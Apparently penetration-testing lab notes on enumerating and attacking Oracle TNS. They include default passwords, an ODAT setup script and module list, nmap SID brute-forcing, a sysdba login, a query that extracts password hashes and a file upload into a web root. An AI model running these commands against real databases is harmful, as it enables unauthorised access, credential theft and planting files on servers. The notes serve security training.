The configuration files for Oracle TNS are called tnsnames.ora
and listener.ora
Oracle TNS is often used with other Oracle services like Oracle DBSNMP, Oracle Databases, Oracle Application Server, Oracle Enterprise Manager, Oracle Fusion Middleware, web servers, and many more. There have been made many changes for the default installation of Oracle services. For example, Oracle 9 has a default password, CHANGE_ON_INSTALL
, whereas Oracle 10 has no default password set. The Oracle DBSNMP service also uses a default password, dbsnmp
that we should remember when we come across this one. Another example would be that many organizations still use the finger
service together with Oracle, which can put Oracle’s service at risk and make it vulnerable when we have the required knowledge of a home directory.
Oracle databases can be protected by using so-called PL/SQL Exclusion List (PlsqlExclusionList
). It is a user-created text file that needs to be placed in the $ORACLE_HOME/sqldeveloper
directory, and it contains the names of PL/SQL packages or types that should be excluded from execution.
Setting | Description |
---|---|
DESCRIPTION |
A descriptor that provides a name for the database and its connection type. |
ADDRESS |
The network address of the database, which includes the hostname and port number. |
PROTOCOL |
The network protocol used for communication with the server |
PORT |
The port number used for communication with the server |
CONNECT_DATA |
Specifies the attributes of the connection, such as the service name or SID, protocol, and database instance identifier. |
INSTANCE_NAME |
The name of the database instance the client wants to connect. |
SERVICE_NAME |
The name of the service that the client wants to connect to. |
SERVER |
The type of server used for the database connection, such as dedicated or shared. |
USER |
The username used to authenticate with the database server. |
PASSWORD |
The password used to authenticate with the database server. |
SECURITY |
The type of security for the connection. |
VALIDATE_CERT |
Whether to validate the certificate using SSL/TLS. |
SSL_VERSION |
The version of SSL/TLS to use for the connection. |
CONNECT_TIMEOUT |
The time limit in seconds for the client to establish a connection to the database. |
RECEIVE_TIMEOUT |
The time limit in seconds for the client to receive a response from the database. |
SEND_TIMEOUT |
The time limit in seconds for the client to send a request to the database. |
SQLNET.EXPIRE_TIME |
The time limit in seconds for the client to detect a connection has failed. |
TRACE_LEVEL |
The level of tracing for the database connection. |
TRACE_DIRECTORY |
The directory where the trace files are stored. |
TRACE_FILE_NAME |
The name of the trace file. |
LOG_FILE |
The file where the log information is stored. |
Oracle-Tools-setup.sh
#!/bin/bash
sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
Testing ODAT
./odat.py -s x.x.x.x
Choose a main command
all to run all modules in order to know what it is possible to do
tnscmd to communicate with the TNS listener
tnspoison to exploit TNS poisoning attack (SID required)
sidguesser to know valid SIDs
snguesser to know valid Service Name(s)
passwordguesser to know valid credentials
utlhttp to send HTTP requests or to scan ports
httpuritype to send HTTP requests or to scan ports
utltcp to scan ports
ctxsys to read files
externaltable to read files or to execute system commands/scripts
dbmsxslprocessor to upload files
dbmsadvisor to upload files
utlfile to download/upload/delete files
dbmsscheduler to execute system commands without a standard output
java to execute system commands
passwordstealer to get hashed Oracle passwords
oradbg to execute a bin or script
dbmslob to download files
stealremotepwds to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137)
userlikepwd to try each Oracle username stored in the DB like the corresponding pwd
smb to capture the SMB authentication
privesc to gain elevated access
cve to exploit a CVE
search to search in databases, tables and columns
unwrapper to unwrap PL/SQL source code (no for 9i version)
clean clean traces and logs
Nmap
sudo nmap -p1521 -sV 10.129.204.235 --open
Nmap – SID Bruteforcing
sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
ODAT
./odat.py all -s 10.129.204.235
SQLplus – Log In
sqlplus scott/[email protected]/XE
If you come across the following error sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory
, please execute the below, taken from here.
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig
SQLPlus Commands
https://docs.oracle.com/cd/E11882_01/server.112/e41085/sqlqraa001.htm#SQLQR985
Oracle RDBMS – Interaction
SQL> select table_name from all_tables;
Oracle RDBMS – Database Enumeration
mstrkoffee@htb[/htb]$ sqlplus scott/[email protected]/XE as sysdba
Oracle RDBMS – Extract Password Hashes
SQL> select name, password from sys.user$;
Oracle RDBMS – File Upload
echo “Oracle File Upload Test” > testing.txt
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger –sysdba –putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
Command | Description |
---|---|
./odat.py all -s <FQDN/IP> |
Perform a variety of scans to gather information about the Oracle database services and its components. |
sqlplus <user>/<pass>@<FQDN/IP>/<db> |
Log in to the Oracle database. |
./odat.py utlfile -s <FQDN/IP> -d <db> -U <user> -P <pass> --sysdba --putFile C:\\insert\\path file.txt ./file.txt |
Upload a file with Oracle RDBMS. |